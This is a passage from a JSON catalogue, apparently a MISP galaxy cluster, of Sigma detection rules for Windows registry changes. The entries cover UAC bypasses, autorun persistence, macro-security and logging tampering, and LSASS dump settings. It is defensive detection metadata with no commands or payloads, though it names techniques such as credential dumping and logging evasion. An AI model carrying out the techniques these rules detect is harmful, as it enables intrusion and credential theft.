          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store",
          "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d223b46b-5621-4037-88fe-fda32eead684",
      "value": "New Root or CA or AuthRoot Certificate to Store"
    },
    {
      "description": "Detects setting of a new registry database value related to BgInfo configuration. Attackers can for example set this value to save the results of the commands executed by BgInfo in order to exfiltrate information.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/16",
        "falsepositive": [
          "Legitimate use of external DB to save the results"
        ],
        "filename": "registry_set_bginfo_custom_db.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bginfo_custom_db.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "53330955-dc52-487f-a3a2-da24dcff99b5",
      "value": "New BgInfo.EXE Custom DB Path Registry Configuration"
    },
    {
      "description": "Detects the pattern of UAC Bypass using registry key manipulation of sdclt.exe (e.g. UACMe 53)",
      "meta": {
        "author": "Omer Yampel, Christian Burkard (Nextron Systems)",
        "creation_date": "2017/03/17",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_uac_bypass_sdclt.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/",
          "https://github.com/hfiref0x/UACME",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_sdclt.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002",
          "car.2019-04-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5b872a46-3b90-45c1-8419-f675db8053aa",
      "value": "UAC Bypass via Sdclt"
    },
    {
      "description": "Detects the modification of Outlook security setting to allow unprompted execution of macros.",
      "meta": {
        "author": "@ScoubiMtl",
        "creation_date": "2021/04/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_office_outlook_enable_macro_execution.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53",
          "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_macro_execution.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.command_and_control",
          "attack.t1137",
          "attack.t1008",
          "attack.t1546"
        ]
      },
      "related": [
        {
          "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "b6301b64-ef57-4cce-bb0b-77026f14a8db",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e3b50fa5-3c3f-444e-937b-0a99d33731cd",
      "value": "Outlook Macro Execution Without Warning Setting Enabled"
    },
    {
      "description": "Detects registry changes to Microsoft Office \"AccessVBOM\" to a value of \"1\" which disables trust access for VBA on the victim machine and lets attackers execute malicious macros without any Microsoft Office warnings.",
      "meta": {
        "author": "Trent Liffick (@tliffick), Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2020/05/22",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_office_access_vbom_tamper.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/",
          "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/",
          "https://twitter.com/inversecos/status/1494174785621819397",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_access_vbom_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1a5c46e9-f32f-42f7-b2bc-6e9084db7fbf",
      "value": "Trust Access Disable For VBApplications"
    },
    {
      "description": "Detects when an attacker modifies the registry value of the \"hhctrl\" to point to a custom binary",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_hhctrl_persistence.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://persistence-info.github.io/Data/hhctrl.html",
          "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "f10ed525-97fe-4fed-be7c-2feecca941b1",
      "value": "Persistence Via Hhctrl.ocx"
    },
    {
      "description": "Detects the modification of the registry to disable a system restore on the computer",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/04",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disable_system_restore.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-9---disable-system-restore-through-registry",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disable_system_restore.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "5de03871-5d46-4539-a82d-3aa992a69a83",
      "value": "Registry Disable System Restore"
    },
    {
      "description": "Detects the installation of a new shim database where the file is located in a non-default location",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/01",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_shim_database_uncommon_location.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.blackhat.com/docs/asia-14/materials/Erickson/Asia-14-Erickson-Persist-It-Using-And-Abusing-Microsofts-Fix-It-Patches.pdf",
          "https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/",
          "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_database_uncommon_location.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1546.011"
        ]
      },
      "related": [
        {
          "dest-uuid": "42fe883a-21ea-4cfb-b94a-78b6476dcc83",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6b6976a3-b0e6-4723-ac24-ae38a737af41",
      "value": "Potential Persistence Via Shim Database In Uncommon Location"
    },
    {
      "description": "Detects potential persistence behavior using the windows telemetry registry key.\nWindows telemetry makes use of the binary CompatTelRunner.exe to run a variety of commands and perform the actual telemetry collections.\nThis binary was created to be easily extensible, and to that end, it relies on the registry to instruct on which commands to run.\nThe problem is, it will run any arbitrary command without restriction of location or type.\n",
      "meta": {
        "author": "Lednyov Alexey, oscd.community, Sreeman",
        "creation_date": "2020/10/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_telemetry_persistence.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.trustedsec.com/blog/abusing-windows-telemetry-for-persistence/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_telemetry_persistence.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1053.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "73a883d0-0348-4be4-a8d8-51031c2564f8",
      "value": "Potential Registry Persistence Attempt Via Windows Telemetry"
    },
    {
      "description": "Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/04/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_powershell_logging_disabled.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1564.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "fecfd1a1-cc78-4313-a1ea-2ee2e8ec27a7",
      "value": "PowerShell Logging Disabled Via Registry Key Tampering"
    },
    {
      "description": "Detects setting of a new registry value related to BgInfo configuration, which can be abused to execute custom WMI query via \"BgInfo.exe\"",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/08/16",
        "falsepositive": [
          "Legitimate WMI query"
        ],
        "filename": "registry_set_bginfo_custom_wmi_query.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "Internal Research",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bginfo_custom_wmi_query.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "cd277474-5c52-4423-a52b-ac2d7969902f",
      "value": "New BgInfo.EXE Custom WMI Query Registry Configuration"
    },
    {
      "description": "Detects when the 'AllowMultipleTSSessions' value is enabled.\nWhich allows for multiple Remote Desktop connection sessions to be opened at once.\nThis is often used by attacker as a way to connect to an RDP session without disconnecting the other users\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/09/09",
        "falsepositive": [
          "Legitimate use of the multi session functionality"
        ],
        "filename": "registry_set_winlogon_allow_multiple_tssessions.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_winlogon_allow_multiple_tssessions.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f7997770-92c3-4ec9-b112-774c4ef96f96",
      "value": "Winlogon AllowMultipleTSSessions Enable"
    },
    {
      "description": "Detect set DisallowRun to 1 to prevent user running specific computer program",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_disallowrun_execution.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disallowrun_execution.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "275641a5-a492-45e2-a817-7c81e9d9d3e9",
      "value": "Add DisallowRun Execution to Registry"
    },
    {
      "description": "Hides the file extension through modification of the registry",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/22",
        "falsepositive": [
          "Administrative scripts"
        ],
        "filename": "registry_set_change_security_zones.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-4---add-domain-to-trusted-sites-zone",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_security_zones.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1137"
        ]
      },
      "related": [
        {
          "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "45e112d0-7759-4c2a-aa36-9f8fb79d3393",
      "value": "IE Change Domain Zone"
    },
    {
      "description": "Detects when an attacker adds a new \"DLLPathOverride\" value to the \"Natural Language\" key in order to achieve persistence which will get invoked by \"SearchIndexer.exe\" process",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_persistence_natural_language.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/",
          "https://persistence-info.github.io/Data/naturallanguage6.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_natural_language.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "a1b1fd53-9c4a-444c-bae0-34a330fc7aa8",
      "value": "Potential Persistence Via DLLPathOverride"
    },
    {
      "description": "Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any\nanomalous executables with suspicious arguments. The downloaded file will be in C:\\Users\\redacted\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdaterreSignInSettingsConfig.json\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_lolbin_onedrivestandaloneupdater.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml"
        ],
        "tags": [
          "attack.command_and_control",
          "attack.t1105"
        ]
      },
      "related": [
        {
          "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "3aff0be0-7802-4a7e-a4fa-c60c74bc5e1d",
      "value": "Lolbas OneDriveStandaloneUpdater.exe Proxy Download"
    },
    {
      "description": "Detects UAC bypass method using Windows event viewer",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2017/03/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_uac_bypass_eventvwr.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100",
          "https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1548.002",
          "car.2019-04-001"
        ]
      },
      "related": [
        {
          "dest-uuid": "120d5519-3098-4e1c-9191-2aa61232f073",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "7c81fec3-1c1d-43b0-996a-46753041b1b6",
      "value": "UAC Bypass via Event Viewer"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_wow6432node_currentversion.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "480421f9-417f-4d3b-9552-fd2728443ec8",
      "value": "Wow6432Node Windows NT CurrentVersion Autorun Keys Modification"
    },
    {
      "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way"
        ],
        "filename": "registry_set_persistence_mpnotify.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek",
          "https://persistence-info.github.io/Data/mpnotify.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mpnotify.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "92772523-d9c1-4c93-9547-b0ca500baba3",
      "value": "Potential Persistence Via Mpnotify"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_currentcontrolset.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_currentcontrolset.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f674e36a-4b91-431e-8aef-f8a96c2aca35",
      "value": "CurrentControlSet Autorun Keys Modification"
    },
    {
      "description": "Detects tampering with EventLog service \"file\" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting",
      "meta": {
        "author": "D3F7A5105",
        "creation_date": "2023/01/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_evtx_file_key_tamper.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/win32/eventlog/eventlog-key",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_evtx_file_key_tamper.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.002"
        ]
      },
      "related": [
        {
          "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "0cb8d736-995d-4ce7-a31e-1e8d452a1459",
      "value": "Potential EventLog File Location Tampering"
    },
    {
      "description": "Detects when an attacker adds a new \"Debugger\" value to the \"AeDebug\" key in order to achieve persistence which will get invoked when an application crashes",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/07/21",
        "falsepositive": [
          "Legitimate use of the key to setup a debugger. Which is often the case on developers machines"
        ],
        "filename": "registry_set_aedebug_persistence.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging",
          "https://persistence-info.github.io/Data/aedebug.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_aedebug_persistence.yml"
        ],
        "tags": [
          "attack.persistence"
        ]
      },
      "uuid": "092af964-4233-4373-b4ba-d86ea2890288",
      "value": "Add Debugger Entry To AeDebug For Persistence"
    },
    {
      "description": "Detects applications being added to the \"allowed applications\" list of exploit guard in order to bypass controlled folder settings",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2022/08/05",
        "falsepositive": [
          "Unlikely"
        ],
        "filename": "registry_set_exploit_guard_susp_allowed_apps.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1562.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "42205c73-75c8-4a63-9db1-e3782e06fda0",
      "value": "Suspicious Application Allowed Through Exploit Guard"
    },
    {
      "description": "Detects modification of autostart extensibility point (ASEP) in registry.",
      "meta": {
        "author": "Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split)",
        "creation_date": "2019/10/25",
        "falsepositive": [
          "Legitimate software automatically (mostly, during installation) sets up autorun keys for legitimate reason",
          "Legitimate administrator sets up autorun keys for legitimate reason"
        ],
        "filename": "registry_set_asep_reg_keys_modification_system_scripts.yml",
        "level": "medium",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://gist.github.com/GlebSukhodolskiy/0fc5fa5f482903064b448890db1eaf9d",
          "https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.001/T1547.001.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_asep_reg_keys_modification_system_scripts.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1547.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e7a2fd40-3ae1-4a85-bf80-15cf624fb1b1",
      "value": "System Scripts Autorun Keys Modification"
    },
    {
      "description": "Detect activation of DisableRestrictedAdmin to disable RestrictedAdmin mode.\nRestrictedAdmin mode prevents the transmission of reusable credentials to the remote system to which you connect using Remote Desktop.\nThis prevents your credentials from being harvested during the initial connection process if the remote server has been compromise\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2023/01/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_lsa_disablerestrictedadmin.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/a8e3cf63e97b973a25903d3df9fd55da6252e564/atomics/T1112/T1112.md",
          "https://social.technet.microsoft.com/wiki/contents/articles/32905.remote-desktop-services-enable-restricted-admin-mode.aspx",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_disablerestrictedadmin.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1112"
        ]
      },
      "related": [
        {
          "dest-uuid": "57340c81-c025-4189-8fa0-fc7ede51bae4",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d6ce7ebd-260b-4323-9768-a9631c8d4db2",
      "value": "Disabled RestrictedAdminMode For RDS"
    },
    {
      "description": "Detects the setting of the \"DumpType\" registry value to \"2\" which stands for a \"Full Dump\". Technique such as LSASS Shtinkering requires this value to be \"2\" in order to dump LSASS.",
      "meta": {
        "author": "@pbssubhash",
        "creation_date": "2022/12/08",
        "falsepositive": [
          "Legitimate application that needs to do a full dump of their process"
        ],
        "filename": "registry_set_lsass_usermode_dumping.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps",
          "https://github.com/deepinstinct/Lsass-Shtinkering",
          "https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsass_usermode_dumping.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "33efc23c-6ea2-4503-8cfe-bdf82ce8f719",
      "value": "Lsass Full Dump Request Via DumpType Registry Settings"
    },
    {
      "description": "Detects the installation of a Callout DLL via CalloutDlls and CalloutEnabled parameter in Registry, which can be used to execute code in context of the DHCP server (restart required)",
      "meta": {
        "author": "Dimitrios Slamaris",
        "creation_date": "2017/05/15",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "registry_set_dhcp_calloutdll.yml",
        "level": "high",
        "logsource.category": "registry_set",
        "logsource.product": "windows",
        "refs": [
          "https://blog.3or.de/mimilib-dhcp-server-callout-dll-injection.html",
          "https://technet.microsoft.com/en-us/library/cc726884(v=ws.10).aspx",
          "https://msdn.microsoft.com/de-de/library/windows/desktop/aa363389(v=vs.85).aspx",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dhcp_calloutdll.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1574.002",
